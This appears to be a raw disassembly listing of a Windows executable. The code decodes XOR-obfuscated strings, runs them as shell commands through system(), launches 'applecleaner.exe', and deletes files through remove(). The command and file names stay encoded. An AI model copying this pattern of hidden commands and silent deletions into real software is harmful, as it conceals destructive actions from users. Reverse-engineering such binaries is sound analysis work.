call qword [sym.imp.KERNEL32.dll_Beep]
movups xmm0, xmmword [str.pXPWYQW_egqm]
movups xmmword [rbp + 0x2a8], xmm0
mov eax, dword [0x14000bcb8]
mov dword [rbp + 0x2b8], eax
movzx eax, byte [0x14000bcbc]
mov byte [rbp + 0x2bc], al
xor ecx, ecx
cmp esi, 2
jl 0x140007fd4
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x2ac]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140007ed0
cmp ecx, 0x15
jge 0x14000800d
movsxd rax, ecx
lea r8, [rbp + 0x2a8]
add r8, rax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x15
jl 0x140007fe1
lea rdx, [rbp + 0x2a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0xf60], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0xf70], xmm1
movdqa xmm0, xmmword [0x14000c2b0]
movdqu xmmword [rbp + 0xf80], xmm0
movdqa xmm1, xmmword [0x14000c240]
movdqu xmmword [rbp + 0xf90], xmm1
movdqa xmm0, xmmword [0x14000c550]
movdqu xmmword [rbp + 0xfa0], xmm0
movdqa xmm1, xmmword [0x14000c320]
movdqu xmmword [rbp + 0xfb0], xmm1
movdqa xmm0, xmmword [0x14000c1d0]
movdqu xmmword [rbp + 0xfc0], xmm0
movdqa xmm1, xmmword [0x14000c270]
movdqu xmmword [rbp + 0xfd0], xmm1
mov dword [rbp + 0xfe0], 0xf81a500f
mov dword [rbp + 0xfe4], 0xa9aea2e4
mov dword [rbp + 0xfe8], 0xedebeff6
mov dword [rbp + 0xfec], 0x100fee7
lea rcx, [rbp + 0xf60]
call fcn.140008bd0
lea rcx, [rbp + 0xf60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__c_start_C:Windows_applecleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x14e0], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x14f0], xmm1
movdqa xmm0, xmmword [0x14000c280]
movdqu xmmword [rbp + 0x1500], xmm0
movdqa xmm1, xmmword [0x14000c1f0]
movdqu xmmword [rbp + 0x1510], xmm1
movdqa xmm0, xmmword [0x14000c5e0]
movdqu xmmword [rbp + 0x1520], xmm0
movdqa xmm1, xmmword [0x14000c310]
movdqu xmmword [rbp + 0x1530], xmm1
movdqa xmm0, xmmword [0x14000c330]
movdqu xmmword [rbp + 0x1540], xmm0
movdqa xmm1, xmmword [0x14000c220]
movdqu xmmword [rbp + 0x1550], xmm1
mov dword [rbp + 0x1560], 0xb1018
mov byte [rbp + 0x1564], 1
lea rcx, [rbp + 0x14e0]
call fcn.140008ba0
lea rcx, [rbp + 0x14e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x1170], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x1180], xmm1
movdqa xmm0, xmmword [0x14000c280]
movdqu xmmword [rbp + 0x1190], xmm0
movdqa xmm1, xmmword [0x14000c1f0]
movdqu xmmword [rbp + 0x11a0], xmm1
movdqa xmm0, xmmword [0x14000c540]
movdqu xmmword [rbp + 0x11b0], xmm0
movdqa xmm1, xmmword [0x14000c440]
movdqu xmmword [rbp + 0x11c0], xmm1
movdqa xmm0, xmmword [0x14000c3c0]
movdqu xmmword [rbp + 0x11d0], xmm0
mov dword [rbp + 0x11e0], 0x1c061d40
mov dword [rbp + 0x11e4], 0x71c14
mov byte [rbp + 0x11e8], 1
lea rcx, [rbp + 0x1170]
call fcn.140008b70
lea rcx, [rbp + 0x1170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x1070], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x1080], xmm1
movdqa xmm0, xmmword [0x14000c280]
movdqu xmmword [rbp + 0x1090], xmm0
movdqa xmm1, xmmword [0x14000c1f0]
movdqu xmmword [rbp + 0x10a0], xmm1
movdqa xmm0, xmmword [0x14000c4d0]
movdqu xmmword [rbp + 0x10b0], xmm0
movdqa xmm1, xmmword [0x14000c450]
movdqu xmmword [rbp + 0x10c0], xmm1
movdqa xmm0, xmmword [0x14000c3a0]
movdqu xmmword [rbp + 0x10d0], xmm0
mov dword [rbp + 0x10e0], 0x1c061d40
mov dword [rbp + 0x10e4], 0x71c14
mov byte [rbp + 0x10e8], 1
lea rcx, [rbp + 0x1070]
call fcn.140008b70
lea rcx, [rbp + 0x1070]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x10f0], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x1100], xmm1
movdqa xmm0, xmmword [0x14000c280]
movdqu xmmword [rbp + 0x1110], xmm0
movdqa xmm1, xmmword [0x14000c1f0]
movdqu xmmword [rbp + 0x1120], xmm1
movdqa xmm0, xmmword [0x14000c5a0]
movdqu xmmword [rbp + 0x1130], xmm0
movdqa xmm1, xmmword [0x14000c460]
movdqu xmmword [rbp + 0x1140], xmm1
movdqa xmm0, xmmword [0x14000c3b0]
movdqu xmmword [rbp + 0x1150], xmm0
mov dword [rbp + 0x1160], 0x1c061d40
mov dword [rbp + 0x1164], 0x71c14
mov byte [rbp + 0x1168], 1
lea rcx, [rbp + 0x10f0]
call fcn.140008b70
lea rcx, [rbp + 0x10f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c420]
movdqu xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x50], 0x72217c62
mov dword [rbp + 0x54], 0x1006670
lea rcx, [rbp + 0x40]
call fcn.140008c90
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c510]
movdqu xmmword [rbp + 0x320], xmm0
mov word [rbp + 0x330], 0x100
lea rcx, [rbp + 0x320]
call fcn.140008c00
lea rcx, [rbp + 0x320]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c520]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0x100
lea rcx, [rbp + 0x308]
call fcn.140008c00
lea rcx, [rbp + 0x308]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c530]
movdqu xmmword [rbp + 0x2f0], xmm0
mov word [rbp + 0x300], 0x100
lea rcx, [rbp + 0x2f0]
call fcn.140008c00
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c5c0]
movdqu xmmword [rbp + 0xa0], xmm0
mov dword [rbp + 0xb0], 0x646e6c23
mov word [rbp + 0xb4], 0x100
lea rcx, [rbp + 0xa0]
call fcn.140008b40
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rbp - 0x70], 0x69a8c4be
mov dword [rbp - 0x6c], 0x736c666f
mov dword [rbp - 0x68], 0x6a290776
mov dword [rbp - 0x64], 0x1007e68
lea rcx, [rbp - 0x70]
call fcn.140008b10
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rbp - 0x60], 0x69a8c4be
mov dword [rbp - 0x5c], 0x736c666f
mov dword [rbp - 0x58], 0x6a290476
mov dword [rbp - 0x54], 0x1007e68
lea rcx, [rbp - 0x60]
call fcn.140008b10
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rbp - 0x50], 0x69a8c4be
mov dword [rbp - 0x4c], 0x736c666f
mov dword [rbp - 0x48], 0x6a290576
mov dword [rbp - 0x44], 0x1007e68
lea rcx, [rbp - 0x50]
call fcn.140008b10
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
movsd xmm0, qword [str.pXPWY__e1_]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x14000b9c8]
mov word [rsp + 0x58], ax
cmp byte [0x14000b9c9], 0
je 0x14000858f
mov byte [rsp + 0x50], 0x43
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor byte [rsp + 0x54], 0x37
xor byte [rsp + 0x55], 0x38
xor byte [rsp + 0x56], 0x39
xor byte [rsp + 0x57], 0x3a
xor byte [rsp + 0x58], 0x3b
xor byte [rsp + 0x59], 0x3c
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001250
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movups xmm0, xmmword [str._DZYQQW_egsks_f]
movups xmmword [rbp + 0x278], xmm0
movzx eax, byte [0x14000c068]
mov byte [rbp + 0x288], al
xor ecx, ecx
cmp esi, 2
jl 0x140008734
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x27c]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140008630
cmp ecx, 0x11
jge 0x14000876d
movsxd rax, ecx
lea r8, [rbp + 0x278]
add r8, rax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x11
jl 0x140008741
lea rdx, [rbp + 0x278]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0xeb0], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0xec0], xmm1
movdqa xmm0, xmmword [str.jkABJNAKRT_a]
movdqu xmmword [rbp + 0xed0], xmm0
movdqa xmm1, xmmword [0x14000c250]
movdqu xmmword [rbp + 0xee0], xmm1
movdqa xmm0, xmmword [0x14000c4e0]
movdqu xmmword [rbp + 0xef0], xmm0
movdqa xmm1, xmmword [0x14000c360]
movdqu xmmword [rbp + 0xf00], xmm1
movdqa xmm0, xmmword [0x14000c3d0]
movdqu xmmword [rbp + 0xf10], xmm0
mov dword [rbp + 0xf20], 0x501c171e
mov dword [rbp + 0xf24], 0x1d005f5c
mov dword [rbp + 0xf28], 0xc191319
mov word [rbp + 0xf2c], 0x100
lea rcx, [rbp + 0xeb0]
call fcn.140008c60
lea rcx, [rbp + 0xeb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x12c0], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x12d0], xmm1
movdqa xmm0, xmmword [0x14000c2c0]
movdqu xmmword [rbp + 0x12e0], xmm0
movdqa xmm1, xmmword [0x14000c260]
movdqu xmmword [rbp + 0x12f0], xmm1
movdqa xmm0, xmmword [0x14000c590]
movdqu xmmword [rbp + 0x1300], xmm0
movdqa xmm1, xmmword [0x14000c370]
movdqu xmmword [rbp + 0x1310], xmm1
movdqa xmm0, xmmword [0x14000c2d0]
movdqu xmmword [rbp + 0x1320], xmm0
movdqa xmm1, xmmword [0x14000c3f0]
movdqu xmmword [rbp + 0x1330], xmm1
mov dword [rbp + 0x1340], 0xe513170e
mov dword [rbp + 0x1344], 0x100f6ef
lea rcx, [rbp + 0x12c0]
call fcn.140008d20
lea rcx, [rbp + 0x12c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c580]
movdqu xmmword [rbp + 0xb8], xmm0
movdqa xmm1, xmmword [0x14000c4b0]
movdqu xmmword [rbp + 0xc8], xmm1
mov dword [rbp + 0xd8], 0x45436d6a
mov dword [rbp + 0xdc], 0x570d4140
mov dword [rbp + 0xe0], 0x100555c
lea rcx, [rbp + 0xb8]
call fcn.140008c30
lea rcx, [rbp + 0xb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c470]
movdqu xmmword [rbp + 0x70], xmm0
mov dword [rbp + 0x80], 0x686a207f
mov word [rbp + 0x84], 0x74
mov byte [rbp + 0x86], 1
lea rcx, [rbp + 0x70]
call fcn.140008cc0
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x14000c600]
movdqu xmmword [rbp + 0x338], xmm0
mov word [rbp + 0x348], 0x100
lea rcx, [rbp + 0x338]
call fcn.140008c00
lea rcx, [rbp + 0x338]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [str._DZYQ__e1_]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x14000ba40]
mov word [rsp + 0x68], ax
cmp byte [0x14000ba41], 0
je 0x140008a06
mov byte [rsp + 0x60], 0x53
xor byte [rsp + 0x61], 0x34
xor byte [rsp + 0x62], 0x35
xor byte [rsp + 0x63], 0x36
xor byte [rsp + 0x64], 0x37
xor byte [rsp + 0x65], 0x38
xor byte [rsp + 0x66], 0x39
xor byte [rsp + 0x67], 0x3a
xor byte [rsp + 0x68], 0x3b
xor byte [rsp + 0x69], 0x3c
lea rdx, [rsp + 0x60]
jmp 0x140004f0c
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3